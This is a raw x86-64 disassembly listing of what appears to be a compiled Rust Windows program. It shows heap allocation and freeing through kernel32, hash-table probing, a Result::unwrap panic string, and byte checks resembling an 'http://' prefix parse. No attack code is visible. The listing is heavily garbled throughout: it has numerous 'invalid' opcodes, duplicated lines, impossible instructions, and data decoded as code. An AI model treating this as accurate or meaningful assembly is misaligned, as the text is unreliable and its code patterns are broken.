movzx ecx, byte [rsp + 0x31]
xor eax, eax
cmp rax, qword [rsp + 0x38]
jno 0x1400cd3cf
movzx eax, cl
shl rax, 0x20
or rax, 3
jmp 0x1400cd3d9
mov r14, rcx
call fcn.14012be60
mov rcx, r14
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x1400cd1f6
mov r14, rcx
call fcn.14012bf20
mov rcx, r14
xor al, 1
movzx edx, byte [r15 + 0x11]
test dl, dl
je 0x1400cd205
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], al
lea rax, [0x140159c68]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140159e40]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140122900
lea rdx, [rsp + 0x38]
call fcn.140016750
mov dl, 4
mov byte [rsi], dl
mov byte [rsi + 1], r8b
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rax
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x90]
mov qword [rsi + 0x20], rax
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov r14, rcx
call fcn.14012bf20
mov rcx, r14
test al, al
jne 0x1400cd231
mov byte [r15 + 0x11], 1
jmp 0x1400cd231
add byte [rax], al
mov qword [rsp + 0xd8], 0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xc8]
enter 0, 0
enter 0, 0
call fcn.1401105a0
mov rdi, qword [rsp + 0x70]
mov rax, rdi
neg rax
jno 0x1400cd4f6
movzx ebx, byte [rsp + 0x78]
movzx eax, byte [0x14019f308]
mov edx, 1
xor ecx, ecx
leave
leave
call fcn.1400f8ae0
test rax, rax
je 0x1400cd615
mov rdi, rax
mov byte [rax], bl
movzx eax, byte [0x14019f308]
mov edx, 0x70
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400f8ae0
test rax, rax
je 0x1400cd606
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], rdi
mov dword [rax + 0x58], edi
mov dword [rax + 0x58], edi
lea rdx, [0x140159550]
mov qword [rax + 0x60], rdx
mov word [rax + 0x68], 0
mov qword [rsi + 8], rax
mov qword [rsi], rcx
jmp 0x1400cd5fb
mov rbx, qword [rsp + 0x78]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x60], xmm0
movzx eax, byte [rsp + 0xb0]
movups xmm0, xmmword [rsp + 0xb1]
movaps xmmword [rsp + 0x20], xmm0
mov rcx, qword [rsp + 0xc0]
mov qword [rsp + 0x2f], rcx
mov dword [rsp + 0x2f], ecx
test al, al
je 0x1400cd581
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi + 0x20], xmm1
movups xmmword [rsi + 0x30], xmm2
mov byte [rsi + 0x40], al
movaps xmm0, xmmword [rsp + 0x20]
xor byte [rax + 0x280f4046], cl
and al, 0x20
movups xmmword [rsi + 0x41], xmm0
mov rax, qword [rsp + 0x2f]
mov qword [rsi + 0x50], rax
jmp 0x1400cd5fb
jp 0x1400cd591
movzx eax, byte [0x14019f308]
mov edx, 0x70
mov dh, 5
sbb byte [0x1b0c6d598], 0
add byte [rax], al
xor ecx, ecx
call fcn.1400f8ae0
mov ch, 2
add byte [rax - 0x7b], cl
test rax, rax
je 0x1400cd606
mov qword [rax + 0x58], 1
test rax, rax
je 0x1400cd606
mov qword [rax + 0x58], 1
lea rcx, [0x140159710]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 0
mov qword [rax], rdi
mov qword [rax + 8], rbx
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
mov byte [rax + 0x40], 0
movaps xmm0, xmmword [rsp + 0x20]
movups xmmword [rax + 0x41], xmm0
mov rcx, qword [rsp + 0x2f]
invalid
mov rcx, qword [rsp + 0x2f]
mov qword [rax + 0x50], rcx
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
add rsp, 0xf0
pop rbx
pop rdi
pop rsi
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x70
call fcn.140122190
mov ecx, 1
mov edx, 1
call fcn.140122190
int3
int3
invalid
and al, 0xd0
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov r8, rbx
call fcn.140007d10
mov r8, qword [rsp + 0xe0]
mov bpl, 3
cmp r8, 0xfffe
jbe 0x1400cd687
mov bl, 8
jmp 0x1400cd8de
test r8w, r8w
je 0x1400cd6c8
invalid
cmp eax, dword [rcx + 0xf]
mov bh, 0xc0
movzx eax, r8w
cmp eax, 1
jne 0x1400cd6cf
test r8, r8
je case.0x1400b3268.176
mov rax, qword [rsp + 0xd8]
movzx eax, byte [rax]
cmp eax, 0x2a
je 0x1400cd8ca
cmp eax, 0x2f
jne 0x1400cda3a
lea r15, [0x14018e0c8]
jmp 0x1400cd8d1
mov bl, 9
jmp 0x1400cd8de
test r8, r8
je case.0x1400ba3d7.130
mov rax, qword [rsp + 0xd8]
cmp byte [rax], 0x2f
jne 0x1400cd762
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xc0], ecx
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xc0], ecx
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xb0]
call fcn.140026240
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x1400cd926
movups xmm0, xmmword [rsp + 0x50]
movzx ecx, word [rsp + 0x60]
mov edx, dword [rsp + 0x62]
mov dword [rsp + 0x38], edx
movzx edx, word [rsp + 0x66]
mov word [rsp + 0x3c], dx
mov r15, qword [rsp + 0x48]
xorps xmm1, xmm1
movaps xmmword [rsp + 0xf0], xmm1
lea r8, [0x140145a40]
mov edx, 1
jmp 0x1400cdaa3
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
cmp r8, 6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x68], rdi
jbe 0x1400cdb18
movzx ecx, byte [rdx]
lea eax, [rcx - 0x41]
mov edi, 0x920f1a3c
rol al, 0xe0
add eax, 0x683cc808
mov edi, 0x920f1a3c
rol al, 0xe0
add eax, 0x683cc808
jne 0x1400cdb22
movzx ecx, byte [rdx + 1]
lea r9d, [rcx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, cl
cmp r9b, 0x74
jne 0x1400cdc49
movzx ecx, byte [rdx + 2]
lea r9d, [rcx - 0x41]
cmp r9b, 0x1a
stc
sbb al, byte [rcx + 0xf]
xchg edx, eax
rol dword [rcx - 0x40], 0xe1
add eax, 0x41c90841
cmp cl, 0x74
stc
sbb al, byte [rcx + 0xf]
xchg edx, eax
rol dword [rcx - 0x40], 0xe1
add eax, 0x41c90841
cmp cl, 0x74
jne 0x1400cdc49
movzx ecx, byte [rdx + 3]
lea r9d, [rcx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, cl
cmp r9b, 0x70
jne 0x1400cdc49
test dword [rax], ebp
add al, 0
invalid
test dword [rax], ebp
add al, 0
add byte [rdi], cl
mov dh, 0x4a
add al, 0x44
lea ecx, [rcx - 0x41]
movzx ecx, byte [rdx + 4]
lea r9d, [rcx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, cl
cmp r9b, 0x3a
jne 0x1400cdc49
movzx ecx, byte [rdx + 5]
lea r9d, [rcx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, cl
cmp r9b, 0x2f
jne 0x1400cdc49
movzx ecx, byte [rdx + 6]
lea r9d, [rcx - 0x41]
cmp r9b, 0x1a
setb r9b
shl r9b, 5
or r9b, cl
cmp r9b, 0x2f
jne 0x1400cdc49
xor ebx, ebx
add eax, 7
lea r15, [0x140166500]
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
xor ebp, ebp
lea rcx, [rsp + 0xe8]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xd8
add byte [rax], al
add bh, bh
call qword [rax + 0x10]
movss xmm0, dword [0x14012f970]
call qword [rax + 0x10]
movss xmm0, dword [0x14012f970]
lea rax, [0x140145a40]
mov cx, 0xffff
mov edx, 1
mov r8, rax
je 0x1400cd951
xor byte [rbp + riz + 0xf], dh
mov byte [rbx], ch
invalid
mov edi, eax
and al, 0x40
ja 0x1400cd9ab
and byte [rbx - 0x72b7db98], cl
or eax, 0x8dfca
mov dword [rax + 0x28], r14d
mov dword [rcx + 8], eax
movups xmm0, xmmword [rsp + 0xd0]
adc byte [rsp + 0xd0], al
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x40]
call fcn.140023260
dec dword [rbx + rcx*4 - 0x7c]
and al, 0xb0
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
scasd eax, dword [rdi]
invalid
invalid
invalid
dec dword [rbx + rcx*4 - 0x7c]
and al, 0xb0
add byte [rax], al
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
scasd eax, dword [rdi]
invalid
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0xf0], xmm0
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xf0], eax
lock add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rdi], cl
mov rdx, qword [rsp + 0xb8]
xorps xmm0, xmm0
push rdi
ror byte [rax - 0x73], 5
cmpsd dword [rsi], dword [rdi]
jg 0x1400cda9f
add byte [rsi - 0x47], ah
invalid
inc dword [rcx - 0x41]
add dword [rax], eax
add byte [rax], al
push rdi
ror byte [rax - 0x73], 5
cmpsd dword [rsi], dword [rdi]
jg 0x1400cda9f
add byte [rsi - 0x47], ah
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx], dh
xor ebp, ebp
in eax, dx
and al, 0x44
jo 0x1400cdb11
mov dword [rsi + 8], ecx
add byte [rdi], cl
adc dword [rsi + 0x20], ecx
jle 0x1400cdb1c
adc dword [rsi + 0x40], eax
and al, 0x3c
and al, 0x3c
cmp r8, 3
cmp eax, 3
jbe 0x1400cdc37
cmp eax, ecx
enter 0xffffffffffff840f, 0xfffffffffffffffe
add byte [rax], al
add byte [rax - 0x77], cl
retf
add dword [rax], eax
add byte [rax - 0x73], cl
add qword [r11 - 0x278ac503], rax
cmp ebp, 0x3a
jne case.0x1400aa05b.150
xchg ebp, edx
add byte [rax], al
add byte [rax - 0x7d], cl
sti
std
cmp dword [rdx + rcx], 0x850f2f2f
or ch, byte [rdi]
invalid
mov edi, 0x41000000
mov dh, 0xa
add byte [rax], al
mov rdx, r14
mov eax, ebx
dec dword [rax - 0x73]
and al, 0x58
mov eax, dword [rsp + 0x40]
push rax
test byte [rax + rsi], ah
add byte [rax], al
mov r9b, 1
cmp r8, 7
je 0x1400cdb22
invalid
invalid
invalid
cmp al, 0x68
jne 0x1400cdb22
invalid
invalid
invalid
invalid
movzx eax, byte [rdx + 1]
lea ecx, [rax - 0x41]
invalid
mov edi, 0xf1af980
xchg edx, eax
invalid
shl cl, 5
dec dword [rdi]
loope 0x1400cdca6
add al, 0x8d
movabs rdi, 0xe1c0c1920f1af980
add eax, 0xf980c108
test eax, eax
test ch, al
add byte [rax], al
add byte [rcx + 0xac248c], cl
add byte [rax], al
add dword [rax], eax
add bh, bh
shr ebx, 0xcb
add dword [rdi], ecx
test ebx, esi
add byte [rax], al
add byte [rbp - 0x7c], al
leave
invalid
add byte [rdi], cl
sub dword [rsp + 0xb0], eax
add byte [rax], al
je 0x1400cdf35
test rax, rax
fiadd word [rax]
add byte [rax], al
loopne 0x1400cdf61
and al, 0x60
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
xchg esp, eax
and al, 0x18
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x120], cl
lock add byte [rax], al
add byte [rax], al
add cl, ch
mov esi, 0x41fffffe
invalid
inc dword [rcx - 0x4a]
invalid
invalid
and al, 0x2c
add byte [rbp + 0x39], dh
sbb byte [rax - 0x75], cl
invalid
movabs byte [0xf08949d231000d12], al
ror byte [rcx - 0x77], cl
invalid
adc eax, 0x6147f
add byte [rax], al
add byte [rax - 0x75], cl
cwde
add byte [rax], al
add byte [rax], al
and al, 0x68
sbb byte [rax - 0x75], cl
add ecx, dword [rax - 0x75]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
xchg ebx, esi
invalid
add eax, 0x58d4c00
outsb dx, byte [rsi]
jp case.0x1400ba7cc.156
add byte [rcx], dh
leave
jp 0x1400ce090
add byte [rcx], dh
leave
add eax, 0x58d4c00
jle 0x1400ce0a0
add byte [rax - 0x77], cl
ret 0xeee8
add eax, 0x8b900
add byte [rax], al
add byte [rax], al
add byte [rdx], cl
jb 0x1400ce0f5
cmp qword [rsi + 0x100], 0
je 0x1400ce0f5
add byte [rcx], al
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov r8, qword [rsi + 0xf8]
or eax, 0xffd23100
adc eax, 0x6134b
invalid
invalid
or eax, 0xffd23100
adc eax, 0x6132b
invalid
invalid
jo 0x1400ce169
mov ecx, dword [0x14019f258]
xor dword [rcx], edx
or eax, 0xffd23100
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
push rax
adc byte [rax - 0x7d], cl
invalid
ret
adc cl, byte [rax - 0x75]
or eax, 0xd10c5
nop word cs:[rax + rax]
xor byte [rbp - 0x1a], dh
sbb esi, eax
dec qword [rax]
and al, 0xfa
dec dword [rax - 0x77]
and al, 0x40
lea rax, [rsp + 0x50]
push rax
mov dword [rsp + 0x50], 0
add eax, 0xfff654da
add byte [rcx - 0x48], al
invalid
add byte [rax], al
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x9bc1d
invalid
invalid
or dword [rax], eax
sbb eax, 0x410009bc
mov eax, 1
add esp, 0x70
mov esi, eax
mov rdi, rdx
mov rbx, qword [rcx]
test rbx, rbx
jne 0x1400ce513
mov r14, rcx
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400ce5f5
mov rbx, rax
movups xmm0, xmmword [0x14016a500]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14016a4f0]
movups xmmword [rax], xmm0
mov qword [r14], rax
movzx eax, byte [0x14019f308]
mov edx, 0x10
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400ce5e6
mov qword [rax], rdi
mov qword [rax + 8], rsi
lea rcx, [0x14015f2b8]
mov qword [rsp + 0x20], rcx
movabs r15, 0xef5f03989eec4e9b
movabs r14, 0xe7633accbb81bb99
mov rcx, rbx
mov rdx, r15
mov r8, r14
mov r9, rax
call fcn.1400ce610
mov esi, 2
test rax, rax
je 0x1400ce5d4
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call qword [rdx + 0x18]
xor rax, r15
xor rdx, r14
or rdx, rax
jne 0x1400ce5a3
mov rsi, qword [rdi]
mov rbx, qword [rdi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400ce5d4
mov rax, qword [rbx]
test rax, rax
test eax, eax
je 0x1400ce5b0
mov rcx, rdi
mov ecx, edi
call rax
cmp qword [rbx + 8], 0
je 0x1400ce5d4
cmp qword [rbx + 0x10], 0x11
jb 0x1400ce5c2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, rsi
mov rdx, rbx
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
invalid
mov ecx, 8
mov edx, 0x10
call fcn.140122190
mov ecx, 8
mov edx, 0x20
call fcn.140122190
int3
invalid
dec dword [rax - 0x73]
add dword [r9 + 0x30], r15d
invalid
ror byte [rax - 0x7d], cl
invalid
pop rbp
mov ebx, dword [rcx + 0x18]
test rbx, rbx
je 0x1400cebf7
fisttp dword [rdi]
test al, cl
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x20
invalid
mov rax, qword [rsp + 0x20]
and byte [rbx + rcx*4 + 0x30], cl
mov r14, qword [rax]
movdqa xmm0, xmmword [r14]
movq mm0, qword [r14]
pmovmskb r13d, xmm0
not r13d
lea r15, [r14 + 0x10]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400ceb85
nop dword cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
dec ebx
ror byte [r8 - 0x75], 1
mov r8d, 0xc0558b48
mov edx, dword [rbp - 0x40]
mov edx, dword [rbp - 0x40]
enter 0x50ff, 0x10
test ebp, ebp
in eax, dx
invalid
mov byte [rax + 0x49fffff9], 0x83
invalid
invalid
imul edi, edi, 0x8d48ffff
add dword [r9 + 0x68], r15d
lea eax, [rdi + 1]
and eax, 0xfffffff0
add bl, al
in al, dx
sub byte [rax - 0x75], cl
xor dword [rax - 0x75], ecx
jns 0x1400cecb5
mov qword [rcx], 0
test rsi, rsi
test esi, esi
je 0x1400cecf5
movzx eax, byte [0x14019f308]
mov edx, 0x10
invalid
add byte [rax - 0x75], cl
or eax, 0xd04d1
add al, 0xd
invalid
add byte [rdi], cl
adc dword [rsp + 0x28], esi
inc dword [rdx]
add byte [rax], al
add byte [rbp + rcx*4 + 5], cl
mov dl, 0x60
or al, 0
ret 0xe2ff
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], al
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
cmc
invalid
dec dword [rbp - 0x75]
invalid
jmp 0xc356c050
invalid
out 4, al
lea rcx, [r14 + r14*4]
sar rcx, 4
movabs rax, 0xcccccccccccccccd
imul rax, rcx
lea rcx, [rax - 0x10]
and rcx, rsi
mov rdx, qword [rsp + 0x28]
movdqu xmm0, xmmword [rdx + rcx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
pmovmskb r8d, xmm0
movdqu xmm0, xmmword [rdx + rax]
pcmpeqb xmm0, xmm1
je 0x1400cf101
je 0x1400cf101
pmovmskb edx, xmm0
test r8d, r8d
je 0x1400cf154
bsr r8w, r8w
xor r8d, 0xf
jmp 0x1400cf159
mov r8w, 0x10
mov r9, qword [rsp + 0x30]
add rbp, qword [rsp + 0x28]
or edx, 0x10000
tzcnt edx, edx
add r8d, edx
mov dl, 0x80
cmp r8w, 0xf
ja case.0x140097fb5.650
inc qword [r9 + 0x10]
mov dl, 0xff
mov r8, qword [rsp + 0x28]
mov byte [r8 + rax], dl
mov byte [r8 + rcx + 0x10], dl
dec qword [r9 + 0x18]
movdqu xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movaps xmmword [rsp + 0x80], xmm3
movups xmm3, xmmword [rbp - 0x10]
movaps xmmword [rsp + 0x90], xmm3
movaps xmmword [rsp + 0x70], xmm2
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
xor eax, eax
cmp rax, qword [rsp + 0x80]
jno 0x1400cf1e6
movabs rax, 0x8000000000000000
mov rcx, qword [rsp + 0x38]
mov ecx, dword [rsp + 0x38]
add byte [rax], al
or byte [rax - 0x75], 0x4c
and al, 0x38
mov ecx, dword [rsp + 0x38]
mov qword [rcx], rax
jmp 0x1400cf243
movdqu xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
mov rax, qword [rsp + 0x38]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
cmp byte [rsp + 0x50], 2
jb 0x1400cf22c
mov rsi, qword [rsp + 0x58]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
call qword [rax + 0x10]
movaps xmm6, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm8, xmmword [rsp + 0xc0]
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov esp, 0xb024
and al, 0xb0
add byte [rax], al
add byte [rdi + rcx + 0x28], al
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
jg 0x1400cf24d
and al, 0x80
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x70], esi
mov rdi, rdx
mov rsi, rcx
mov rcx, qword [rcx + 0x20]
mov rdx, qword [rsi + 0x28]
mov r8, rdi
call fcn.1400a7ed0
mov rcx, qword [rsi]
mov qword [rsp + 0x28], rsi
mov r12, qword [rsi + 8]
mov r13, r12
and r13, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufw mm0, mm0, 0
pshufd xmm6, xmm0, 0
mov qword [rsp + 0x20], rcx
lea rsi, [rcx - 0x30]
lea rax, [rdi + 0x10]
mov qword [rsp + 0x38], rax
and al, 0x38
xor eax, eax
pcmpeqd xmm7, xmm7
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x20]
movdqu xmm8, xmmword [rax + r13]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm6
pmovmskb r15d, xmm0
test r15d, r15d
jne 0x1400cf34d
pcmpeqb xmm8, xmm7
pmovmskb eax, xmm8
test eax, eax
mov rax, qword [rsp + 0x30]
jne 0x1400cf48a
add r13, rax
add r13, 0x10
add rax, 0x10
and r13, r12
jmp 0x1400cf2f1
lea eax, [r15 - 1]
and ax, r15w
mov r15d, eax
je 0x1400cf314
tzcnt ebx, r15d
add rbx, r13
and rbx, r12
mov rax, rbx
neg rax
lea rbp, [rax + rax*2]
shl rbp, 4
lea r14, [rsi + rbp]
mov rcx, rdi
mov rdx, r14
call fcn.1400260b0
test al, al
je 0x1400cf340
add r14, 0x10
mov rcx, qword [rsp + 0x38]
mov rdx, r14
call fcn.140023870
test al, al
je 0x1400cf340
shl rbx, 4
lea rcx, [rbx + rbx*2]
sar rcx, 4
movabs rax, 0xaaaaaaaaaaaaaaab
imul rax, rcx
lea rcx, [rax - 0x10]
and rcx, r12
mov rdx, qword [rsp + 0x20]
movdqu xmm0, xmmword [rdx + rcx]
pcmpeqd xmm1, xmm1
pcmpeqb xmm0, xmm1
pmovmskb r8d, xmm0
movdqu xmm0, xmmword [rdx + rax]
pcmpeqb xmm0, xmm1
pmovmskb edx, xmm0
test r8d, r8d
je 0x1400cf3e3
bsr r8w, r8w
xor r8d, 0xf
jmp 0x1400cf3e8
mov r8w, 0x10
mov r9, qword [rsp + 0x28]
add rbp, qword [rsp + 0x20]
or edx, 0x10000
tzcnt edx, edx
add r8d, edx
mov dl, 0x80
cmp r8w, 0xf
ja 0x1400cf40e
inc qword [r9 + 0x10]
mov dl, 0xff
mov r8, qword [rsp + 0x20]
mov byte [r8 + rax], dl
mov byte [r8 + rcx + 0x10], dl
dec qword [r9 + 0x18]
movdqu xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movups xmm2, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movzx eax, byte [rsp + 0x40]
cmp al, 3
je 0x1400cf48a
cmp al, 2
jb 0x1400cf473
mov rsi, qword [rsp + 0x48]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
movaps xmm6, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x80]
movaps xmm8, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
tzcnt r11d, r10d
movzx r10d, byte [r9 + r11]
shr rdx, 0x39
lea rsi, [r11 - 0x10]
and rsi, rax
mov byte [r9 + r11], dl
mov byte [r9 + rsi + 0x10], dl
neg r11
lea rdx, [r11 + r11*4]
and r10b, 1
movzx eax, r10b
sub qword [rcx + 0x10], rax
shl rdx, 4
lea rax, [r9 + rdx]
movups xmm0, xmmword [r8 + 0x40]
movups xmmword [r9 + rdx - 0x10], xmm0
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movups xmm2, xmmword [r8 + 0x20]
movups xmm3, xmmword [r8 + 0x30]
movups xmmword [r9 + rdx - 0x20], xmm3
movups xmmword [r9 + rdx - 0x30], xmm2
movups xmmword [r9 + rdx - 0x40], xmm1
movups xmmword [r9 + rdx - 0x50], xmm0
inc qword [rcx + 0x18]
pop rsi
ret
imul eax, dword [rcx], 0x4c
imul ebp, edi
cmp r8, 4
mov qword [rbp - 8], r8
mov qword [rbp - 0x18], r14
jbe 0x1400cf7ae
lea rax, [r14 + 8]
mov qword [rbp - 0x10], rax
mov r10, r12
sub r10, r15
lea r9, [r14 + r15]
cmp r10, 0x10
jae 0x1400cf6a0
cmp r12, r15
je 0x1400cf941
xor esi, esi
nop word cs:[rax + rax]
cmp byte [r9 + rsi], dil
je 0x1400cf776
inc rsi
cmp r10, rsi
jne 0x1400cf680
jmp 0x1400cf941
lea r11, [r9 + 7]
and r11, 0xfffffffffffffff8
sub r11, r9
jne 0x1400cf707
mov qword [rbp], r12
lea rsi, [r10 - 0x10]
xor r11d, r11d
movabs rcx, 0x8080808080808080
mov rax, qword [rbp - 0x10]
add rax, r15
nop dword [rax]
mov r14, qword [rax + r11 - 8]
xor r14, r13
out dx, al
out dx, al
mov r8, qword [rax + r11]
xor r8, r13
mov r12, rbx
sub r12, r8
or r12, r8
mov r8, rbx
mov eax, ebx
mov eax, ebx
sub r8, r14
or r8, r14
and r8, rcx
and r8, r12
cmp r8, rcx
jne 0x1400cf740
add r11, 0x10
cmp r11, rsi
jbe 0x1400cf6d0
jbe 0x1400cf6d0
jmp 0x1400cf740
xor esi, esi
movabs rcx, 0x8080808080808080
nop word cs:[rax + rax]
cmp byte [r9 + rsi], dil
je 0x1400cf776
inc rsi
cmp r11, rsi
jne 0x1400cf720
mov qword [rbp], r12
lea rsi, [r10 - 0x10]
cmp r11, rsi
jbe 0x1400cf6c2
nop dword [rax + rax]
cmp r11, r10
mov r12, qword [rbp]
mov r14, qword [rbp - 0x18]
call 0x141fd7b5e
add byte [rax], al
call 0x141fd7b5e
add byte [rax], al
add r9, r11
mov rax, r12
sub rax, r11
sub rax, r15
xor esi, esi
invalid
nop
not byte [rax + 0x313c3841]
cmp byte [r9 + rsi], dil
je 0x1400cf773
inc rsi
inc esi
cmp rax, rsi
jne 0x1400cf760
jmp 0x1400cf941
add rsi, r11
add r15, rsi
inc r15
mov qword [rdx + 0x10], r15
mov rcx, qword [rbp - 8]
cmp r15, rcx
setae al
cmp r15, qword [rbp - 0x20]
cmp edi, dword [rbp - 0x20]
cmp edi, dword [rbp - 0x20]
setbe r8b
test al, r8b
jne 0x1400cf95f
cmp r12, r15
mov ecx, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jae 0x1400cf659
invalid
jmp case.0x1400ba1d7.152
lea rax, [rdx + 0x20]
mov qword [rbp - 0x30], rax
lea rax, [r14 + 8]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov dword [rbp - 0x10], eax
jmp 0x1400cf7d2
add byte [rax], al
add al, 0x3e
cmp esp, edi
add byte [rbp + 0x31], al
shl byte [rsi - 0x70], cl
cmp byte [rax + rdx], bh
